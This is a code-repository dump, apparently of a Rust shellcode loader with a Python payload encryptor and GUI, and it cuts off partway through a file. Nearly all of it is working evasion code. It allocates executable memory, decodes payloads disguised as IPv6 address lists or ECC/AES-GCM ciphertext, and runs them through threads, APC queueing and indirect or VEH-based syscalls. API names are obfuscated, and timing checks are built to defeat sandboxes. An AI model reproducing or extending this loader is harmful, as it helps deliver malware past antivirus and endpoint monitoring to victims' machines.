13 | type VirtualProtectFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_new_protect: u32, lpfl_old_protect: *mut u32) -> i32;
14 |
15 | // Try kernelbase.dll first, then kernel32.dll
16 | let lib = match load_library(obfbytes!(b"kernelbase.dll\0").as_slice()) {
17 | Ok(h) => h,
18 | Err(_) => load_library(obfbytes!(b"kernel32.dll\0").as_slice())?,
19 | };
20 |
21 | let virtual_alloc_from_app: VirtualAllocFromAppFn = core::mem::transmute(get_proc_address(lib, obfbytes!(b"VirtualAllocFromApp\0").as_slice())?);
22 | let virtual_protect: VirtualProtectFn = core::mem::transmute(get_proc_address(lib, obfbytes!(b"VirtualProtect\0").as_slice())?);
23 |
24 | // PAGE_READWRITE = 0x04. VirtualAllocFromApp usually doesn't allow PAGE_EXECUTE_READWRITE directly
25 | let p = virtual_alloc_from_app(core::ptr::null_mut(), size, 0x00001000 | 0x00002000, 0x04);
26 | if p.is_null() {
27 | return Err(obfstr!("VirtualAllocFromApp failed").to_string());
28 | }
29 |
30 | let mut old_protect = 0u32;
31 | let ok = virtual_protect(p, size, 0x40, &mut old_protect); // PAGE_EXECUTE_READWRITE
32 | if ok == 0 {
33 | return Err(obfstr!("VirtualProtect failed").to_string());
34 | }
35 |
36 | Ok(p as *mut u8)
37 | }
--------------------------------------------------------------------------------
/RustVEHSyscalls/Cargo.lock:
--------------------------------------------------------------------------------
1 | # This file is automatically @generated by Cargo.
2 | # It is not intended for manual editing.
3 | version = 4
4 |
5 | [[package]]
6 | name = "libc"
7 | version = "0.2.161"
8 | source = "registry+https://github.com/rust-lang/crates.io-index"
9 | checksum = "8e9489c2807c139ffd9c1794f4af0ebe86a828db53ecdc7fea2111d0fed085d1"
10 |
11 | [[package]]
12 | name = "libc-print"
13 | version = "0.1.23"
14 | source = "registry+https://github.com/rust-lang/crates.io-index"
15 | checksum = "a4a660208db49e35faf57b37484350f1a61072f2a5becf0592af6015d9ddd4b0"
16 | dependencies = [
17 | "libc",
18 | ]
19 |
20 | [[package]]
21 | name = "ntapi"
22 | version = "0.4.1"
23 | source = "registry+https://github.com/rust-lang/crates.io-index"
24 | checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4"
25 | dependencies = [
26 | "winapi",
27 | ]
28 |
29 | [[package]]
30 | name = "rust-veh-syscalls"
31 | version = "0.1.0"
32 | dependencies = [
33 | "libc-print",
34 | "ntapi",
35 | "winapi",
36 | ]
37 |
38 | [[package]]
39 | name = "winapi"
40 | version = "0.3.9"
41 | source = "registry+https://github.com/rust-lang/crates.io-index"
42 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
43 | dependencies = [
44 | "winapi-i686-pc-windows-gnu",
45 | "winapi-x86_64-pc-windows-gnu",
46 | ]
47 |
48 | [[package]]
49 | name = "winapi-i686-pc-windows-gnu"
50 | version = "0.4.0"
51 | source = "registry+https://github.com/rust-lang/crates.io-index"
52 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
53 |
54 | [[package]]
55 | name = "winapi-x86_64-pc-windows-gnu"
56 | version = "0.4.0"
57 | source = "registry+https://github.com/rust-lang/crates.io-index"
58 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
59 |
--------------------------------------------------------------------------------
/encrypt_lib/ecc.py:
--------------------------------------------------------------------------------
1 | name = 'ecc'
2 | description = 'ECC-based encryption using ECDH key exchange and AES-GCM'
3 |
4 | import os
5 | import hashlib
6 | from cryptography.hazmat.primitives import hashes, serialization
7 | from cryptography.hazmat.primitives.asymmetric import ec
8 | from cryptography.hazmat.primitives.kdf.hkdf import HKDF
9 | from cryptography.hazmat.primitives.ciphers.aead import AESGCM
10 |
11 | def sha256_bytes(b):
12 | sha = hashlib.sha256()
13 | sha.update(b)
14 | return sha.digest()
15 |
16 | def process(data, args):
17 | # Generate ECC private key A
18 | priv_a = ec.generate_private_key(ec.SECP256R1())
19 |
20 | # Generate random ECC private key B
21 | priv_b = ec.generate_private_key(ec.SECP256R1())
22 | pub_b = priv_b.public_key()
23 |
24 | # Perform ECDH: shared_secret = priv_a.exchange(ec.ECDH(), pub_b)
25 | shared_secret = priv_a.exchange(ec.ECDH(), pub_b)
26 |
27 | # Derive AES key using HKDF
28 | hkdf = HKDF(
29 | algorithm=hashes.SHA256(),
30 | length=32,
31 | salt=None,
32 | info=b'',
33 | )
34 | aes_key = hkdf.derive(shared_secret)
35 |
36 | # Generate nonce
37 | nonce = os.urandom(12) # AES-GCM uses 12-byte nonce
38 |
39 | # Encrypt data
40 | aesgcm = AESGCM(aes_key)
41 | ciphertext = aesgcm.encrypt(nonce, data, None)
42 |
43 | # Serialize keys
44 | priv_a_bytes = priv_a.private_numbers().private_value.to_bytes(32, 'big')
45 | pub_b_bytes = pub_b.public_bytes(
46 | encoding=serialization.Encoding.X962,
47 | format=serialization.PublicFormat.CompressedPoint
48 | ) # 33 bytes: 0x02/0x03 + x
49 |
50 | # Final output: priv_a (32) + pub_b (33) + nonce (12) + ciphertext
51 | final = priv_a_bytes + pub_b_bytes + nonce + ciphertext
52 | return final
--------------------------------------------------------------------------------
/src/decrypt/ipv6.rs:
--------------------------------------------------------------------------------
1 | use crate::alloc_mem::alloc_mem;
2 | use obfstr::obfstr;
3 |
4 | pub unsafe fn decrypt(decoded: &[u8]) -> Result<(usize, usize), String> {
5 | use sha2::{Sha256, Digest};
6 | use obfstr::obfstr;
7 | let hash_len = 32;
8 | let len_len = 4;
9 | if decoded.len() < hash_len + len_len {
10 | return Err(obfstr!("ipv6 payload too short").to_string());
11 | }
12 | let hash = &decoded[0..hash_len];
13 | let len_bytes = &decoded[hash_len..hash_len + len_len];
14 | let original_len = u32::from_le_bytes([len_bytes[0], len_bytes[1], len_bytes[2], len_bytes[3]]) as usize;
15 | let addresses_str = std::str::from_utf8(&decoded[hash_len + len_len..]).map_err(|_| obfstr!("invalid utf8").to_string())?;
16 | let addresses: Vec<&str> = addresses_str.split(',').collect();
17 | let p = unsafe { alloc_mem(original_len)? };
18 | let buf = std::slice::from_raw_parts_mut(p, original_len);
19 | let mut idx = 0;
20 | 'outer: for addr_str in addresses {
21 | let parts: Vec<&str> = addr_str.split(':').collect();
22 | if parts.len() != 8 { return Err(obfstr!("Invalid IPv6 address").to_string()); }
23 | for p in parts {
24 | if idx + 1 >= original_len { break 'outer; }
25 | let v = u16::from_str_radix(p, 16).map_err(|_| obfstr!("Invalid IPv6 segment").to_string())?;
26 | let bytes = v.to_be_bytes();
27 | if idx < original_len { buf[idx] = bytes[0]; idx += 1; }
28 | if idx < original_len { buf[idx] = bytes[1]; idx += 1; }
29 | }
30 | }
31 | let mut hasher = Sha256::new();
32 | hasher.update(&buf[..original_len]);
33 | let calc_hash = hasher.finalize();
34 | if hash != calc_hash.as_slice() {
35 | return Err(obfstr!("ipv6 hash mismatch").to_string());
36 | }
37 | Ok((p as usize, original_len))
38 | }
--------------------------------------------------------------------------------
/src/exec/create_thread_veh_syscall.rs:
--------------------------------------------------------------------------------
1 | use rust_veh_syscalls::syscall;
2 | use std::ffi::c_void;
3 | use std::ptr;
4 | use windows::Win32::Foundation::HANDLE;
5 |
6 | #[allow(non_snake_case)]
7 | type NtCreateThreadEx = unsafe extern "system" fn(
8 | ThreadHandle: *mut HANDLE,
9 | DesiredAccess: u32,
10 | ObjectAttributes: *mut c_void,
11 | ProcessHandle: HANDLE,
12 | StartAddress: *mut c_void,
13 | Parameter: *mut c_void,
14 | CreateFlags: u32,
15 | ZeroBits: usize,
16 | StackSize: usize,
17 | MaximumStackSize: usize,
18 | AttributeList: *mut c_void,
19 | ) -> i32;
20 |
21 | #[allow(non_snake_case)]
22 | type NtWaitForSingleObject = unsafe extern "system" fn(
23 | Handle: HANDLE,
24 | Alertable: u8,
25 | Timeout: *mut i64,
26 | ) -> i32;
27 |
28 | pub unsafe fn exec(p: usize) -> Result<(), String> {
29 | const THREAD_ALL_ACCESS: u32 = 0x001F_0FFF;
30 |
31 | let mut thread_handle = HANDLE(0);
32 |
33 | let status = syscall!(
34 | "NtCreateThreadEx",
35 | NtCreateThreadEx,
36 | &mut thread_handle as *mut HANDLE,
37 | THREAD_ALL_ACCESS,
38 | ptr::null_mut(),
39 | HANDLE(-1isize as isize),
40 | p as *mut c_void,
41 | ptr::null_mut(),
42 | 0,
43 | 0,
44 | 0,
45 | 0,
46 | ptr::null_mut()
47 | );
48 |
49 | if status != 0 {
50 | return Err(format!("NtCreateThreadEx failed with status: 0x{:x}", status));
51 | }
52 |
53 | let wait_status = syscall!(
54 | "NtWaitForSingleObject",
55 | NtWaitForSingleObject,
56 | thread_handle,
57 | 0u8,
58 | ptr::null_mut()
59 | );
60 |
61 | if wait_status == 0 {
62 | Ok(())
63 | } else {
64 | Err(format!("NtWaitForSingleObject failed with status: 0x{:x}", wait_status))
65 | }
66 | }
--------------------------------------------------------------------------------
/src/exec/create_thread.rs:
--------------------------------------------------------------------------------
1 | pub unsafe fn exec(p: usize) -> Result<(), String> {
2 | use std::ffi::c_void;
3 | use crate::utils::{load_library, get_proc_address};
4 | use obfstr::{obfbytes, obfstr};
5 | use std::ptr::null_mut;
6 | use std::mem::transmute;
7 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
8 | let p_create_thread = get_proc_address(kernel32, obfbytes!(b"CreateThread\0").as_slice())?;
9 | type CreateThreadFn = unsafe extern "system" fn(
10 | lp_thread_attributes: *mut c_void,
11 | dw_stack_size: usize,
12 | lp_start_address: Option u32>,
13 | lp_parameter: *mut c_void,
14 | dw_creation_flags: u32,
15 | lp_thread_id: *mut c_void,
16 | ) -> *mut c_void;
17 | let create_thread: CreateThreadFn = transmute(p_create_thread);
18 | const INFINITE: u32 = 0xFFFFFFFF;
19 | let thread_fn: unsafe extern "system" fn(*mut c_void) -> u32 = transmute(p);
20 | let h = create_thread(
21 | null_mut(),
22 | 0,
23 | Some(thread_fn),
24 | p as *mut c_void,
25 | 0,
26 | null_mut(),
27 | );
28 | if h.is_null() {
29 | return Err(obfstr!("CreateThread failed").to_string());
30 | }
31 | let p_wait = get_proc_address(kernel32, obfbytes!(b"WaitForSingleObject\0").as_slice())?;
32 | type WaitForSingleObjectFn = unsafe extern "system" fn(*mut c_void, u32) -> u32;
33 | let wait_for_single_object: WaitForSingleObjectFn = transmute(p_wait);
34 | wait_for_single_object(h, INFINITE);
35 | let p_close = get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice())?;
36 | type CloseHandleFn = unsafe extern "system" fn(*mut c_void) -> i32;
37 | let close_handle: CloseHandleFn = transmute(p_close);
38 | close_handle(h);
39 | Ok(())
40 | }
--------------------------------------------------------------------------------
/src/alloc_mem/va_syscall.rs:
--------------------------------------------------------------------------------
1 | use dinvoke_rs::dinvoke;
2 | use std::ffi::c_void;
3 | use std::ptr;
4 | use windows::Win32::Foundation::HANDLE;
5 |
6 | #[allow(non_snake_case)]
7 | type NtAllocateVirtualMemory = unsafe extern "system" fn(
8 | ProcessHandle: HANDLE,
9 | BaseAddress: *mut *mut c_void,
10 | ZeroBits: usize,
11 | RegionSize: *mut usize,
12 | AllocationType: u32,
13 | Protect: u32,
14 | ) -> i32;
15 |
16 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
17 | let mut base_address: *mut c_void = ptr::null_mut();
18 | let mut region_size: usize = size;
19 |
20 | const MEM_COMMIT: u32 = 0x0000_1000;
21 | const MEM_RESERVE: u32 = 0x0000_2000;
22 | const PAGE_EXECUTE_READWRITE: u32 = 0x40;
23 |
24 | // Indirect syscall via DInvoke: dynamically build and execute the syscall stub.
25 | let function_type: NtAllocateVirtualMemory;
26 | #[allow(unused_assignments)]
27 | let mut status: Option = None;
28 |
29 | // NtAllocateVirtualMemory(ProcessHandle = GetCurrentProcess())
30 | dinvoke::execute_syscall!(
31 | "NtAllocateVirtualMemory",
32 | function_type,
33 | status,
34 | HANDLE(-1isize as isize), // ProcessHandle
35 | &mut base_address, // BaseAddress
36 | 0, // ZeroBits
37 | &mut region_size, // RegionSize
38 | MEM_COMMIT | MEM_RESERVE, // AllocationType
39 | PAGE_EXECUTE_READWRITE, // Protect
40 | );
41 |
42 | if status == Some(0) { // STATUS_SUCCESS
43 | Ok(base_address as *mut u8)
44 | } else {
45 | Err(match status {
46 | Some(code) => format!("NtAllocateVirtualMemory failed with status: 0x{:x}", code),
47 | None => "NtAllocateVirtualMemory syscall execution failed".to_string(),
48 | })
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/src/guard/time.rs:
--------------------------------------------------------------------------------
1 | // 时间检测:通过调用拼多多API获取服务器时间,休眠300秒后再次获取,判断本地休眠是否被加速
2 | #[cfg(feature = "vm_check_time")]
3 | pub fn check_time() -> bool {
4 | use std::thread;
5 | use std::time::{Duration, SystemTime, UNIX_EPOCH};
6 |
7 | // 获取本地时间戳1
8 | let local_time1 = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as i64;
9 |
10 | // 调用拼多多API获取服务器时间戳1
11 | let api_time1 = match get_pinduoduo_time() {
12 | Some(t) => t,
13 | None => return false,
14 | };
15 |
16 | // 休眠300秒
17 | thread::sleep(Duration::from_secs(300));
18 |
19 | // 获取本地时间戳2
20 | let local_time2 = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as i64;
21 |
22 | // 调用拼多多API获取服务器时间戳2
23 | let api_time2 = match get_pinduoduo_time() {
24 | Some(t) => t,
25 | None => return false,
26 | };
27 |
28 | // 判断差值:如果API时间差值大于290秒(考虑网络延迟),则认为本地休眠未被加速
29 | let api_diff = api_time2 - api_time1;
30 | let local_diff = local_time2 - local_time1;
31 |
32 | // 如果本地差值远小于API差值,说明被加速
33 | if local_diff < api_diff - 10 { // 允许10秒误差
34 | return false; // 检测到沙箱
35 | }
36 |
37 | true
38 | }
39 |
40 | fn get_pinduoduo_time() -> Option {
41 | let url = "http://api.pinduoduo.com/api/server/_stm";
42 | match crate::utils::http_get(url) {
43 | Ok((status_code, body)) => {
44 | if status_code == 200 {
45 | let body_str = String::from_utf8_lossy(&body);
46 | // 提取数字时间戳
47 | let mut time_str = String::new();
48 | for c in body_str.chars() {
49 | if c.is_ascii_digit() {
50 | time_str.push(c);
51 | }
52 | }
53 | time_str.parse::().ok()
54 | } else {
55 | None
56 | }
57 | }
58 | Err(_) => None,
59 | }
60 | }
--------------------------------------------------------------------------------
/src/alloc_mem/sh_alloc.rs:
--------------------------------------------------------------------------------
1 | use crate::utils::{load_library, get_proc_address};
2 | #[allow(dead_code)]
3 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
4 | use obfstr::{obfstr, obfbytes};
5 | use core::ffi::c_void;
6 |
7 | // IMalloc interface definition (simplified vtable)
8 | #[repr(C)]
9 | struct IMallocVtbl {
10 | query_interface: usize,
11 | add_ref: usize,
12 | release: usize,
13 | alloc: unsafe extern "system" fn(this: *mut c_void, cb: usize) -> *mut c_void,
14 | }
15 | type SHGetMallocFn = unsafe extern "system" fn(pp_malloc: *mut *mut *mut IMallocVtbl) -> i32;
16 | type VirtualProtectFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_new_protect: u32, lpfl_old_protect: *mut u32) -> i32;
17 |
18 | let shell32 = load_library(obfbytes!(b"shell32.dll\0").as_slice())?;
19 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
20 |
21 | let sh_get_malloc: SHGetMallocFn = core::mem::transmute(get_proc_address(shell32, obfbytes!(b"SHGetMalloc\0").as_slice())?);
22 | let virtual_protect: VirtualProtectFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"VirtualProtect\0").as_slice())?);
23 |
24 | let mut malloc_ptr: *mut *mut IMallocVtbl = core::ptr::null_mut();
25 | if sh_get_malloc(&mut malloc_ptr) != 0 {
26 | return Err(obfstr!("SHGetMalloc failed").to_string());
27 | }
28 |
29 | let malloc_vtbl = *malloc_ptr;
30 | let alloc_fn = (*malloc_vtbl).alloc;
31 |
32 | let p = alloc_fn(malloc_ptr as *mut c_void, size);
33 | if p.is_null() {
34 | return Err(obf_lit!("IMalloc::Alloc failed").to_string());
35 | }
36 |
37 | let mut old_protect = 0u32;
38 | let ok = virtual_protect(p, size, 0x40, &mut old_protect);
39 | if ok == 0 {
40 | return Err(obf_lit!("VirtualProtect failed").to_string());
41 | }
42 |
43 | Ok(p as *mut u8)
44 | }
--------------------------------------------------------------------------------
/src/exec/mod.rs:
--------------------------------------------------------------------------------
1 | #[cfg(feature = "run_create_thread")]
2 | mod create_thread;
3 | #[cfg(feature = "run_create_thread")]
4 | pub use crate::exec::create_thread::exec;
5 |
6 |
7 | #[cfg(feature = "run_enum_ui")]
8 | mod enum_ui;
9 | #[cfg(feature = "run_enum_ui")]
10 | pub use crate::exec::enum_ui::exec;
11 |
12 |
13 | #[cfg(feature = "run_gdi_families")]
14 | mod gdi_families;
15 | #[cfg(feature = "run_gdi_families")]
16 | pub use crate::exec::gdi_families::exec;
17 |
18 | #[cfg(feature = "run_early_bird_apc")]
19 | mod early_bird_apc;
20 | #[cfg(feature = "run_early_bird_apc")]
21 | pub use crate::exec::early_bird_apc::exec;
22 |
23 | #[cfg(feature = "run_create_remote_thread")]
24 | mod create_remote_thread;
25 | #[cfg(feature = "run_create_remote_thread")]
26 | pub use crate::exec::create_remote_thread::exec;
27 |
28 | #[cfg(feature = "run_apc")]
29 | mod apc;
30 | #[cfg(feature = "run_apc")]
31 | pub use crate::exec::apc::exec;
32 |
33 | #[cfg(feature = "run_apc_syscall")]
34 | mod apc_syscall;
35 | #[cfg(feature = "run_apc_syscall")]
36 | pub use crate::exec::apc_syscall::exec;
37 |
38 | #[cfg(feature = "run_syscall")]
39 | mod create_thread_syscall;
40 | #[cfg(feature = "run_syscall")]
41 | pub use crate::exec::create_thread_syscall::exec;
42 |
43 | #[cfg(feature = "run_veh_syscall")]
44 | mod create_thread_veh_syscall;
45 | #[cfg(feature = "run_veh_syscall")]
46 | pub use crate::exec::create_thread_veh_syscall::exec;
47 |
48 | #[cfg(feature = "run_apc_veh_syscall")]
49 | mod apc_veh_syscall;
50 | #[cfg(feature = "run_apc_veh_syscall")]
51 | pub use crate::exec::apc_veh_syscall::exec;
52 |
53 | #[cfg(feature = "run_fiber")]
54 | mod fiber;
55 | #[cfg(feature = "run_fiber")]
56 | pub use crate::exec::fiber::exec;
57 |
58 | #[cfg(feature = "run_fls_alloc")]
59 | mod fls_alloc;
60 | #[cfg(feature = "run_fls_alloc")]
61 | pub use crate::exec::fls_alloc::exec;
62 |
63 | #[cfg(feature = "run_linedda")]
64 | mod linedda;
65 | #[cfg(feature = "run_linedda")]
66 | pub use crate::exec::linedda::exec;
--------------------------------------------------------------------------------
/src/guard/tick.rs:
--------------------------------------------------------------------------------
1 | #[allow(dead_code)]
2 | use obfstr::obfbytes;
3 | pub fn is_tick_abnormal() -> bool {
4 | use std::mem::transmute;
5 | use crate::utils::{load_library, get_proc_address};
6 | unsafe {
7 | let kernel32 = match load_library(obfbytes!(b"kernel32.dll\0").as_slice()) {
8 | Ok(h) => h,
9 | Err(_) => return false,
10 | };
11 |
12 | let p_get_tick_count = match get_proc_address(kernel32, obfbytes!(b"GetTickCount\0").as_slice()) {
13 | Ok(f) => f,
14 | Err(_) => return false,
15 | };
16 | let get_tick_count: unsafe extern "system" fn() -> u32 = transmute(p_get_tick_count);
17 |
18 | let p_sleep = match get_proc_address(kernel32, obfbytes!(b"Sleep\0").as_slice()) {
19 | Ok(f) => f,
20 | Err(_) => return false,
21 | };
22 | let sleep: unsafe extern "system" fn(u32) = transmute(p_sleep);
23 |
24 | // 简单线性同余随机数生成器
25 | fn simple_rand(seed: &mut u32) -> u32 {
26 | *seed = seed.wrapping_mul(1664525).wrapping_add(1013904223);
27 | *seed
28 | }
29 |
30 | const DELAY_MS: u32 = 200;
31 | const TIME_TOLERANCE: u32 = 10;
32 |
33 | let mut seed = get_tick_count();
34 | let random_delay = DELAY_MS.wrapping_add(simple_rand(&mut seed) % 100).wrapping_sub(50);
35 | let start_tick = get_tick_count();
36 | sleep(random_delay);
37 | let end_tick = get_tick_count();
38 | let mut tick_diff = end_tick.wrapping_sub(start_tick);
39 |
40 | if tick_diff > 10000 {
41 | tick_diff = (0xFFFFFFFFu32 - start_tick).wrapping_add(end_tick);
42 | }
43 |
44 | let min_tolerance = TIME_TOLERANCE.wrapping_add(simple_rand(&mut seed) % 30);
45 | let max_tolerance = TIME_TOLERANCE.wrapping_mul(3).wrapping_add(simple_rand(&mut seed) % 60);
46 |
47 | (tick_diff < random_delay.saturating_sub(min_tolerance)) || (tick_diff > random_delay.saturating_add(max_tolerance))
48 | }
49 | }
--------------------------------------------------------------------------------
/src/exec/apc_veh_syscall.rs:
--------------------------------------------------------------------------------
1 | use rust_veh_syscalls::syscall;
2 | use std::ffi::c_void;
3 | use std::ptr;
4 | use windows::Win32::Foundation::HANDLE;
5 |
6 | #[allow(non_snake_case)]
7 | type NtQueueApcThread = unsafe extern "system" fn(
8 | ThreadHandle: HANDLE,
9 | ApcRoutine: Option,
10 | ApcArgument1: *mut c_void,
11 | ApcArgument2: *mut c_void,
12 | ApcArgument3: *mut c_void,
13 | ) -> i32;
14 |
15 | #[allow(non_snake_case)]
16 | type NtDelayExecution = unsafe extern "system" fn(
17 | Alertable: u8,
18 | DelayInterval: *mut i64,
19 | ) -> i32;
20 |
21 | #[allow(non_snake_case)]
22 | type NtTestAlert = unsafe extern "system" fn() -> i32;
23 |
24 | pub unsafe fn exec(p: usize) -> Result<(), String> {
25 | // Use the current thread pseudo-handle (-2).
26 | const CURRENT_THREAD: HANDLE = HANDLE(-2isize as isize);
27 |
28 | // Queue APC
29 | let queue_status = syscall!(
30 | "NtQueueApcThread",
31 | NtQueueApcThread,
32 | CURRENT_THREAD,
33 | Some(core::mem::transmute::(p)),
34 | ptr::null_mut(),
35 | ptr::null_mut(),
36 | ptr::null_mut()
37 | );
38 |
39 | if queue_status != 0 {
40 | return Err(format!("NtQueueApcThread failed: 0x{:x}", queue_status));
41 | }
42 |
43 | // Alertable wait to deliver APC
44 | // Relative interval: -1_000_000 * 10ns = -10ms (alertable sleep)
45 | let mut interval: i64 = -10_000_000;
46 |
47 | let delay_status = syscall!(
48 | "NtDelayExecution",
49 | NtDelayExecution,
50 | 1u8, // Alertable = TRUE
51 | &mut interval as *mut i64
52 | );
53 |
54 | if delay_status == 0 {
55 | // Ensure pending APCs are delivered
56 | let _test_status = syscall!(
57 | "NtTestAlert",
58 | NtTestAlert,
59 | );
60 | Ok(())
61 | } else {
62 | Err(format!("NtDelayExecution failed: 0x{:x}", delay_status))
63 | }
64 | }
65 |
--------------------------------------------------------------------------------
/src/alloc_mem/mod.rs:
--------------------------------------------------------------------------------
1 | #[cfg(feature = "alloc_mem_va")]
2 | mod va;
3 | #[cfg(feature = "alloc_mem_va")]
4 | pub use crate::alloc_mem::va::alloc_mem;
5 |
6 | #[cfg(feature = "alloc_mem_global")]
7 | mod global;
8 | #[cfg(feature = "alloc_mem_global")]
9 | pub use crate::alloc_mem::global::alloc_mem;
10 |
11 | #[cfg(feature = "alloc_mem_local")]
12 | mod local;
13 | #[cfg(feature = "alloc_mem_local")]
14 | pub use crate::alloc_mem::local::alloc_mem;
15 |
16 | #[cfg(feature = "alloc_mem_mapview")]
17 | mod mapview;
18 | #[cfg(feature = "alloc_mem_mapview")]
19 | pub use crate::alloc_mem::mapview::alloc_mem;
20 |
21 | #[cfg(feature = "alloc_mem_heap")]
22 | mod heap;
23 | #[cfg(feature = "alloc_mem_heap")]
24 | pub use crate::alloc_mem::heap::alloc_mem;
25 |
26 | #[cfg(feature = "alloc_mem_section")]
27 | mod section;
28 | #[cfg(feature = "alloc_mem_section")]
29 | pub use crate::alloc_mem::section::alloc_mem;
30 |
31 | #[cfg(feature = "alloc_mem_section_syscall")]
32 | mod section_syscall;
33 | #[cfg(feature = "alloc_mem_section_syscall")]
34 | pub use crate::alloc_mem::section_syscall::alloc_mem;
35 |
36 | #[cfg(feature = "alloc_mem_section_veh_syscall")]
37 | mod section_veh_syscall;
38 | #[cfg(feature = "alloc_mem_section_veh_syscall")]
39 | pub use crate::alloc_mem::section_veh_syscall::alloc_mem;
40 |
41 | #[cfg(feature = "alloc_mem_syscall")]
42 | mod va_syscall;
43 | #[cfg(feature = "alloc_mem_syscall")]
44 | pub use crate::alloc_mem::va_syscall::alloc_mem;
45 |
46 | #[cfg(feature = "alloc_mem_veh_syscall")]
47 | mod va_veh_syscall;
48 | #[cfg(feature = "alloc_mem_veh_syscall")]
49 | pub use crate::alloc_mem::va_veh_syscall::alloc_mem;
50 |
51 | #[cfg(feature = "alloc_mem_sh_alloc")]
52 | mod sh_alloc;
53 | #[cfg(feature = "alloc_mem_sh_alloc")]
54 | pub use crate::alloc_mem::sh_alloc::alloc_mem;
55 |
56 | #[cfg(feature = "alloc_mem_snmp_util")]
57 | mod snmp_util;
58 | #[cfg(feature = "alloc_mem_snmp_util")]
59 | pub use crate::alloc_mem::snmp_util::alloc_mem;
60 |
61 | #[cfg(feature = "alloc_mem_va_from_app")]
62 | mod va_from_app;
63 | #[cfg(feature = "alloc_mem_va_from_app")]
64 | pub use crate::alloc_mem::va_from_app::alloc_mem;
--------------------------------------------------------------------------------
/gui/styles.py:
--------------------------------------------------------------------------------
1 | def get_main_stylesheet():
2 | return """
3 | QWidget {
4 | background: #f7f7f7;
5 | color: #222;
6 | font-family: 'Comic Sans MS', 'FZShuTi', 'Segoe Script', 'Segoe UI', 'Microsoft YaHei', Arial;
7 | font-size: 16px;
8 | }
9 | QGroupBox {
10 | border: 1px solid #bfc4cc;
11 | border-radius: 8px;
12 | margin-top: 10px;
13 | background: #ffffff;
14 | font-weight: bold;
15 | padding-top: 5px;
16 | font-family: 'Comic Sans MS', 'FZShuTi', 'Segoe Script', 'Segoe UI', 'Microsoft YaHei', Arial;
17 | font-size: 18px;
18 | }
19 | QGroupBox:title {
20 | subcontrol-origin: margin;
21 | left: 10px;
22 | padding: 0;
23 | }
24 | QLabel {
25 | color: #333;
26 | font-family: 'Comic Sans MS', 'FZShuTi', 'Segoe Script', 'Segoe UI', 'Microsoft YaHei', Arial;
27 | }
28 | QLineEdit, QComboBox, QTextEdit {
29 | background: #fff;
30 | border: 1px solid #bfc4cc;
31 | border-radius: 5px;
32 | color: #222;
33 | padding: 4px;
34 | font-family: 'Comic Sans MS', 'FZShuTi', 'Segoe Script', 'Segoe UI', 'Microsoft YaHei', Arial;
35 | }
36 | QPushButton {
37 | background: qlineargradient(x1:0, y1:0, x2:0, y2:1, stop:0 #e3eaff, stop:1 #b3cfff);
38 | color: #222;
39 | border-radius: 6px;
40 | padding: 6px 18px;
41 | font-weight: bold;
42 | font-family: 'Comic Sans MS', 'FZShuTi', 'Segoe Script', 'Segoe UI', 'Microsoft YaHei', Arial;
43 | }
44 | QPushButton:hover {
45 | background: #d0e3ff;
46 | }
47 | QProgressBar {
48 | border: 1px solid #bfc4cc;
49 | border-radius: 6px;
50 | text-align: center;
51 | background: #fff;
52 | height: 18px;
53 | }
54 | QProgressBar::chunk {
55 | background: qlineargradient(x1:0, y1:0, x2:1, y2:0, stop:0 #b3cfff, stop:1 #a7e2d8);
56 | border-radius: 6px;
57 | }
58 | QTextEdit {
59 | font-family: 'Comic Sans MS', 'FZShuTi', 'Segoe Script', 'Consolas', 'Fira Mono', 'Microsoft YaHei';
60 | font-size: 15px;
61 | background: #f7f7f7;
62 | color: #333;
63 | }
64 | """
--------------------------------------------------------------------------------
/src/decrypt/ecc.rs:
--------------------------------------------------------------------------------
1 | use aes_gcm::{Aes256Gcm, Key, Nonce, Tag};
2 | use aes_gcm::aead::{KeyInit, AeadInPlace};
3 | use hkdf::Hkdf;
4 | use p256::{PublicKey, SecretKey};
5 | use sha2::Sha256;
6 |
7 | pub fn decrypt(data: &[u8]) -> Result<(*mut u8, usize), Box> {
8 | if data.len() < 32 + 33 + 12 + 16 {
9 | return Err("Data too short".into());
10 | }
11 |
12 | let priv_key_bytes = &data[0..32];
13 | let peer_pub_bytes = &data[32..32+33];
14 | let nonce = &data[32+33..32+33+12];
15 | let ciphertext_with_tag = &data[32+33+12..];
16 |
17 | let priv_key = SecretKey::from_bytes(priv_key_bytes.into())
18 | .map_err(|e| format!("Invalid private key: {}", e))?;
19 |
20 | let peer_pub = PublicKey::from_sec1_bytes(peer_pub_bytes)
21 | .map_err(|e| format!("Invalid public key: {}", e))?;
22 |
23 | let shared_secret = elliptic_curve::ecdh::diffie_hellman(
24 | priv_key.to_nonzero_scalar(),
25 | peer_pub.as_affine()
26 | );
27 |
28 | let hkdf = Hkdf::::new(None, shared_secret.raw_secret_bytes().as_ref());
29 | let mut key_bytes = [0u8; 32];
30 | hkdf.expand(&[], &mut key_bytes).map_err(|_| "HKDF expansion failed")?;
31 |
32 | let key = Key::::from_slice(&key_bytes);
33 | let cipher = Aes256Gcm::new(key);
34 | let nonce_slice = Nonce::from_slice(nonce);
35 |
36 | let tag_pos = ciphertext_with_tag.len() - 16;
37 | let ciphertext = &ciphertext_with_tag[..tag_pos];
38 | let tag = Tag::from_slice(&ciphertext_with_tag[tag_pos..]);
39 |
40 | let plaintext_len = ciphertext.len();
41 |
42 | let ptr = unsafe { crate::alloc_mem::alloc_mem(plaintext_len).map_err(|e| e)? };
43 |
44 | if ptr.is_null() {
45 | return Err("Memory allocation failed".into());
46 | }
47 |
48 | unsafe {
49 | std::ptr::copy_nonoverlapping(ciphertext.as_ptr(), ptr, plaintext_len);
50 | }
